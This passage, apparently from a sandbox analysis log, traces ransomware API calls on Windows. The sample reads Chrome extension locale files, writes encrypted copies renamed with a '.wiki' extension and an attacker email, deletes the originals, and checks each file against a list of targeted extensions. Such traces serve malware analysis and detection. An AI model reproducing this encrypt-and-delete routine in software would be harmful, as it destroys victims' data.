data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\en_us\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0175.089] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=213) returned 1 [0175.089] CloseHandle (hObject=0x320) returned 1 [0175.089] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\en_US\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\en_us\\messages.json")) returned 0x2020 [0175.089] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\en_US\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\en_us\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0175.089] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\en_US\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\en_us\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0175.089] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0175.090] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0175.090] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\en_US\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\en_us\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x124 [0175.090] GetLastError () returned 0x0 [0175.090] ReadFile (in: hFile=0x320, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0xd5, lpOverlapped=0x0) returned 1 [0175.091] WriteFile (in: hFile=0x124, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0xe0, lpOverlapped=0x0) returned 1 [0175.092] ReadFile (in: hFile=0x320, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0175.092] WriteFile (in: hFile=0x124, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0xee, lpOverlapped=0x0) returned 1 [0175.092] SetEndOfFile (hFile=0x124) returned 1 [0175.093] CloseHandle (hObject=0x124) returned 1 [0175.093] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0175.093] SetEndOfFile (hFile=0x320) returned 1 [0175.093] CloseHandle (hObject=0x320) returned 1 [0175.093] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\en_US\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0175.094] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\en_US\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\en_us\\messages.json")) returned 1 [0175.094] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\en_US\\messages.json") returned 154 [0175.094] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\en_US\\messages.json") returned 154 [0175.094] lstrlenW (lpString=".doc") returned 4 [0175.094] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0175.094] lstrlenW (lpString=".docx") returned 5 [0175.094] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0175.094] lstrlenW (lpString=".pdf") returned 4 [0175.094] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0175.094] lstrlenW (lpString=".xls") returned 4 [0175.094] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0175.094] lstrlenW (lpString=".xlsx") returned 5 [0175.094] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0175.094] lstrlenW (lpString=".ppt") returned 4 [0175.094] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0175.094] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\en_US\\messages.json") returned 154 [0175.094] lstrlenW (lpString=".zip") returned 4 [0175.094] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0175.094] lstrlenW (lpString=".rar") returned 4 [0175.094] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0175.094] lstrlenW (lpString=".bz2") returned 4 [0175.094] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0175.095] lstrlenW (lpString=".7z") returned 3 [0175.095] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0175.095] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\en_US\\messages.json") returned 154 [0175.095] lstrlenW (lpString=".dbf") returned 4 [0175.095] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0175.095] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\en_US\\messages.json") returned 154 [0175.095] lstrlenW (lpString=".1cd") returned 4 [0175.095] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0175.095] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\en_US\\messages.json") returned 154 [0175.095] lstrlenW (lpString=".jpg") returned 4 [0175.095] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0175.095] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\en_US\\messages.json") returned 154 [0175.095] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\en_US\\messages.json") returned 154 [0175.095] lstrlenW (lpString=".doc") returned 4 [0175.095] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0175.095] lstrlenW (lpString=".docx") returned 5 [0175.095] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0175.095] lstrlenW (lpString=".pdf") returned 4 [0175.095] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0175.095] lstrlenW (lpString=".xls") returned 4 [0175.095] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0175.095] lstrlenW (lpString=".xlsx") returned 5 [0175.095] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0175.095] lstrlenW (lpString=".ppt") returned 4 [0175.095] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0175.095] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\en_US\\messages.json") returned 154 [0175.095] lstrlenW (lpString=".zip") returned 4 [0175.095] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0175.096] lstrlenW (lpString=".rar") returned 4 [0175.096] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0175.096] lstrlenW (lpString=".bz2") returned 4 [0175.096] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0175.096] lstrlenW (lpString=".7z") returned 3 [0175.096] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0175.096] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\en_US\\messages.json") returned 154 [0175.096] lstrlenW (lpString=".dbf") returned 4 [0175.096] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0175.096] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\en_US\\messages.json") returned 154 [0175.096] lstrlenW (lpString=".1cd") returned 4 [0175.096] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0175.096] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\en_US\\messages.json") returned 154 [0175.096] lstrlenW (lpString=".jpg") returned 4 [0175.096] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0175.096] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0175.096] lstrlenW (lpString="messages.json") returned 13 [0175.096] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\es\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\es\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0175.097] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=229) returned 1 [0175.097] CloseHandle (hObject=0x320) returned 1 [0175.097] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\es\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\es\\messages.json")) returned 0x2020 [0175.097] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\es\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\es\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0175.097] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\es\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\es\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0175.097] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0175.097] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0175.097] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\es\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\es\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x124 [0175.098] GetLastError () returned 0x0 [0175.098] ReadFile (in: hFile=0x320, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0xe5, lpOverlapped=0x0) returned 1 [0175.101] WriteFile (in: hFile=0x124, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0xf0, lpOverlapped=0x0) returned 1 [0175.102] ReadFile (in: hFile=0x320, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0175.102] WriteFile (in: hFile=0x124, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0xee, lpOverlapped=0x0) returned 1 [0175.102] SetEndOfFile (hFile=0x124) returned 1 [0175.102] CloseHandle (hObject=0x124) returned 1 [0175.102] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0175.103] SetEndOfFile (hFile=0x320) returned 1 [0175.103] CloseHandle (hObject=0x320) returned 1 [0175.103] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\es\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0175.299] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\es\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\es\\messages.json")) returned 1 [0175.300] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\es\\messages.json") returned 151 [0175.300] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\es\\messages.json") returned 151 [0175.300] lstrlenW (lpString=".doc") returned 4 [0175.300] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0175.300] lstrlenW (lpString=".docx") returned 5 [0175.300] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0175.300] lstrlenW (lpString=".pdf") returned 4 [0175.300] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0175.300] lstrlenW (lpString=".xls") returned 4 [0175.300] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0175.300] lstrlenW (lpString=".xlsx") returned 5 [0175.300] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0175.300] lstrlenW (lpString=".ppt") returned 4 [0175.300] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0175.300] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\es\\messages.json") returned 151 [0175.300] lstrlenW (lpString=".zip") returned 4 [0175.300] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0175.300] lstrlenW (lpString=".rar") returned 4 [0175.300] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0175.300] lstrlenW (lpString=".bz2") returned 4 [0175.300] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0175.300] lstrlenW (lpString=".7z") returned 3 [0175.300] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0175.300] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\es\\messages.json") returned 151 [0175.301] lstrlenW (lpString=".dbf") returned 4 [0175.301] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0175.301] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\es\\messages.json") returned 151 [0175.301] lstrlenW (lpString=".1cd") returned 4 [0175.301] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0175.301] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\es\\messages.json") returned 151 [0175.301] lstrlenW (lpString=".jpg") returned 4 [0175.301] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0175.301] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\es\\messages.json") returned 151 [0175.301] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\es\\messages.json") returned 151 [0175.301] lstrlenW (lpString=".doc") returned 4 [0175.301] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0175.301] lstrlenW (lpString=".docx") returned 5 [0175.301] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0175.301] lstrlenW (lpString=".pdf") returned 4 [0175.301] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0175.301] lstrlenW (lpString=".xls") returned 4 [0175.301] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0175.301] lstrlenW (lpString=".xlsx") returned 5 [0175.301] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0175.301] lstrlenW (lpString=".ppt") returned 4 [0175.301] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0175.301] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\es\\messages.json") returned 151 [0175.301] lstrlenW (lpString=".zip") returned 4 [0175.301] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0175.301] lstrlenW (lpString=".rar") returned 4 [0175.301] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0175.301] lstrlenW (lpString=".bz2") returned 4 [0175.301] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0175.301] lstrlenW (lpString=".7z") returned 3 [0175.302] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0175.302] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\es\\messages.json") returned 151 [0175.302] lstrlenW (lpString=".dbf") returned 4 [0175.302] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0175.302] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\es\\messages.json") returned 151 [0175.302] lstrlenW (lpString=".1cd") returned 4 [0175.302] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0175.302] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\es\\messages.json") returned 151 [0175.302] lstrlenW (lpString=".jpg") returned 4 [0175.302] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0175.302] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0175.302] lstrlenW (lpString="messages.json") returned 13 [0175.302] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pl\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0175.302] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=209) returned 1 [0175.302] CloseHandle (hObject=0x1b4) returned 1 [0175.303] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pl\\messages.json")) returned 0x2020 [0175.303] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pl\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pl\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0175.303] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pl\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0175.303] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0175.303] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0175.303] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pl\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pl\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0175.303] GetLastError () returned 0x0 [0175.304] ReadFile (in: hFile=0x1b4, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0xd1, lpOverlapped=0x0) returned 1 [0175.304] WriteFile (in: hFile=0x19c, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0xe0, lpOverlapped=0x0) returned 1 [0175.305] ReadFile (in: hFile=0x1b4, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0175.305] WriteFile (in: hFile=0x19c, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0xee, lpOverlapped=0x0) returned 1 [0175.305] SetEndOfFile 